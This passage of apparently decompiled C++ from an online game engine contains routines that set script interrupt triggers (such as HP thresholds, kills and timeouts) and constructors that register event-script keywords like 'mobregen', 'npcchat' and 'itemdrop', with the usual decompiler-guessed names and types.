PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPLow, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004A9450) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_MobEliminate, exp, num); } //----- (004A9480) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerEliminate, exp, num); } //----- (004A94B0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptArgument *v4; // esi@1 v4 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &this->t_InterruptManager, index, &si_GuildEliminate, exp + 1, num); if ( v4 ) { *(_DWORD *)&v4->sib_Argument.area.areaname[0] = PineScriptToken::pst_GetNumber(exp, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[4] = PineScriptToken::pst_GetNumber(exp + 2, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[8] = 0; } } //----- (004A9510) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_TimeOut, exp, num); } //----- (004A9540) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_ObjectDeadHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004A9590) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 char *v5; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex( &v4->t_InterruptManager, index, v5, exp + 1, num); } //----- (004A95C0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_KillEnemy, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004A9610) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_TargetChange, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004A9660) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerDead, exp, num); } //----- (004A9690) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPFull, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004A96E0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 unsigned int v6; // eax@1 signed __int16 v7; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v8; // eax@3 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = BTree::operator__(&stru_12510618, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; v8 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_PickUpItemIndex, exp + 1, num); if ( v8 ) *(_WORD *)&v8->sib_Argument.area.areaname[0] = v7; } //----- (004A9740) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPUpper, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004A97B0) -------------------------------------------------------- char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData((AreaInfoData *)(*(_DWORD *)(this + 20) + 36), areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(AreaInfoData::IAreaData *, _DWORD, _DWORD))v4->vfptr->IntersectTest)( v4, LODWORD(v7), LODWORD(v6)); } else { result = 0; } return result; } //----- (004A9800) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout) { int v3; // esi@1 int v4; // eax@2 v3 = this; if ( logout ) { ShineObjectClass::ShineObject::so_Logout((void *)this); v4 = *(_DWORD *)(v3 + 94); *(_BYTE *)(v4 + 4) = sublayer; } else { LOBYTE(v4) = sublayer; *(_BYTE *)(*(_DWORD *)(this + 94) + 4) = sublayer; } return v4; } //----- (004A9830) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this) { PineEventScriptNode::ShinePrintf *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "printf", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; } // 5B2580: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004A9850) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this) { PineEventScriptNode::ShineScriptFile *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scriptfile", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; } // 5B259C: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004A9870) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this) { PineEventScriptNode::ShineTimeLimit *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "timelimit", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; } // 5B25BC: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004A9890) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this) { PineEventScriptNode::ShineInterruptClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; } // 5B25DC: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004A98B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this) { PineEventScriptNode::ShineInterruptSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptset", 1u, 3, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; } // 5B2600: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004A98D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this) { PineEventScriptNode::ShineInterruptErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interrupterase", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; } // 5B2624: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004A98F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this) { PineEventScriptNode::ShineWaitInterrupt *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitinterrupt", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; } // 5B2648: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004A9910) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this) { PineEventScriptNode::ShineMobRegen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobregen", 1u, 6, 7); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; } // 5B266C: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004A9930) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this) { PineEventScriptNode::ShineDoorBuild *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorbuild", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; } // 5B2680: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004A9950) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this) { PineEventScriptNode::ShineNPCStand *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcstand", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; } // 5B2694: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004A9970) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this) { PineEventScriptNode::ShineChange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; } // 5B26A8: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004A9990) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this) { PineEventScriptNode::ShineChange2Door *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2door", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; } // 5B26BC: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004A99B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this) { PineEventScriptNode::ShineChange2NPC *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2npc", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; } // 5B26D0: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004A99D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this) { PineEventScriptNode::ShineExchange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "exchange2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; } // 5B26E4: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004A99F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this) { PineEventScriptNode::ShineDoorOpen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "dooropen", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; } // 5B2708: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004A9A10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this) { PineEventScriptNode::ShineDoorClose *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorclose", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; } // 5B2728: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004A9A30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this) { PineEventScriptNode::ShineObjectVanish *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "vanish", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; } // 5B2748: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004A9A50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this) { PineEventScriptNode::ShineRegenGroup *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "regengroup", 0, 2, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; } // 5B2764: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004A9A70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this) { PineEventScriptNode::ShineWaitUserLogin *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitlogin", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; } // 5B2784: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004A9A90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this) { PineEventScriptNode::ShinePause *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "pause", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; } // 5B27A4: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004A9AB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this) { PineEventScriptNode::ShineNPCChat *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcchat", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; } // 5B27C0: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004A9AD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this) { PineEventScriptNode::ShineNPCShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcshout", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; } // 5B27DC: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); //----- (004A9AF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this) { PineEventScriptNode::ShineChatWindow *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwin", 0, 2, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; } // 5B27FC: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004A9B10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this) { PineEventScriptNode::ShineChatWindowRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwinrange", 0, 4, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; } // 5B2818: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004A9B30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this) { PineEventScriptNode::ShineSomeoneShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "someoneshout", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; } // 5B283C: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004A9B50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this) { PineEventScriptNode::ShineSummonMob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "summonmob", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; } // 5B2860: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004A9B70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this) { PineEventScriptNode::ShineQuestResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "questresult", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; } // 5B2880: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004A9B90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this) { PineEventScriptNode::ShineReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "reward", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; } // 5B28A0: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004A9BB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this) { PineEventScriptNode::ShineBroadcast *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "broadcast", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; } // 5B28BC: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004A9BD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this) { PineEventScriptNode::ShineLinkTo *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "linkto", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; } // 5B28DC: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004A9BF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this) { PineEventScriptNode::ShineWhoClickMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whoclickme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; } // 5B28F8: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004A9C10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this) { PineEventScriptNode::ShineWhoKillMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whokillme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; } // 5B2918: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004A9C30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this) { PineEventScriptNode::ShineItemDrop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemdrop", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; } // 5B2938: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004A9C50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this) { PineEventScriptNode::ShineInvenSearch *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invensearch", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; } // 5B2958: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004A9C70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this) { PineEventScriptNode::ShineItemCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemcreate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; } // 5B2978: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004A9C90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this) { PineEventScriptNode::ShineItemErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemerase", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; } // 5B2998: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004A9CB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this) { PineEventScriptNode::ShineFindHandle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findhandle", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; } // 5B29B8: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004A9CD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this) { PineEventScriptNode::ShineAbstatSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstateset", 1u, 3, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; } // 5B29D8: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004A9CF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this) { PineEventScriptNode::ShineAbstatReset *v1; // esi@1 v1 = this; 